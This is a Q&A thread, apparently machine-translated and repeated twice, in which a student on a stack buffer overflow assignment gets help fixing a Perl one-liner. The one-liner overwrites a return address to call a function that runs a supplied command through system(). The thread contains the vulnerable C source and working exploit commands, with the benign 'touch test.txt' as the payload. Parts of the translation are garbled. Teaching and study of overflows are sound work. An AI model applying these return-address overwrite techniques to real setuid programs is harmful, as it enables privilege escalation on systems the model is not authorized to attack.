利用堆栈缓冲区溢出
Exploiting a Stack Buffer Overflow
我正在执行缓冲区溢出赋值,但我坚持使用此命令的语法:
$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)
我们应该使用这个衬垫而不是 shell。 return 地址是正确的,它将我带到程序集中的正确位置,但是当我 运行 这个时,函数以标准用户身份执行,而不是以 root 身份执行 运行ning。
据我所知,问题出在语法或引号上。
我怎样才能更正一个衬里?
脚本来源
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char arg1[60];
char arg2[60];
void func(char *s){
char buf[32];
strcpy(buf, s);
printf("you entered: %s\n", buf);
}
void secret(){
system(arg2);
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s some_string\n", argv[0]);
return 2;
}
strcpy(arg1, argv[1]);
if (argc == 3) {
strcpy(arg2, argv[2]);
}
func(argv[1]);
return 0;
}
我认为你说 | touch test.txt)
的部分不需要。
./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"
应该可以。
我不确定你为什么要将 shell 脚本的输出通过管道传递给 touch
命令(我假设你想要利用的缓冲区溢出在脚本中,并且它结束了以某种方式使用第二个参数作为函数的参数)。
至于为什么它以普通用户身份执行,在您的场景中,您的 shell 是 运行ning touch
作为普通用户。我认为您想做的是 运行 您的脚本作为 root(通过将其设置为 setuid binary 或只是 运行 将程序与 sudo
结合起来,并使脚本实际上执行对 system("touch ...");
.
的调用
经过一番修改和社区的大量帮助后,我们决定使用:
./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"
我检查了 gdb 中的程序集,调用了秘密函数的 正确 地址,并通过将 $() 换成反引号,攻击按预期执行。非常感谢 Marco 在这方面的帮助。
我正在执行缓冲区溢出赋值,但我坚持使用此命令的语法:
$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)
我们应该使用这个衬垫而不是 shell。 return 地址是正确的,它将我带到程序集中的正确位置,但是当我 运行 这个时,函数以标准用户身份执行,而不是以 root 身份执行 运行ning。
据我所知,问题出在语法或引号上。
我怎样才能更正一个衬里?
脚本来源
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char arg1[60];
char arg2[60];
void func(char *s){
char buf[32];
strcpy(buf, s);
printf("you entered: %s\n", buf);
}
void secret(){
system(arg2);
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s some_string\n", argv[0]);
return 2;
}
strcpy(arg1, argv[1]);
if (argc == 3) {
strcpy(arg2, argv[2]);
}
func(argv[1]);
return 0;
}
我认为你说 | touch test.txt)
的部分不需要。
./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"
应该可以。
我不确定你为什么要将 shell 脚本的输出通过管道传递给 touch
命令(我假设你想要利用的缓冲区溢出在脚本中,并且它结束了以某种方式使用第二个参数作为函数的参数)。
至于为什么它以普通用户身份执行,在您的场景中,您的 shell 是 运行ning touch
作为普通用户。我认为您想做的是 运行 您的脚本作为 root(通过将其设置为 setuid binary 或只是 运行 将程序与 sudo
结合起来,并使脚本实际上执行对 system("touch ...");
.
经过一番修改和社区的大量帮助后,我们决定使用:
./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"
我检查了 gdb 中的程序集,调用了秘密函数的 正确 地址,并通过将 $() 换成反引号,攻击按预期执行。非常感谢 Marco 在这方面的帮助。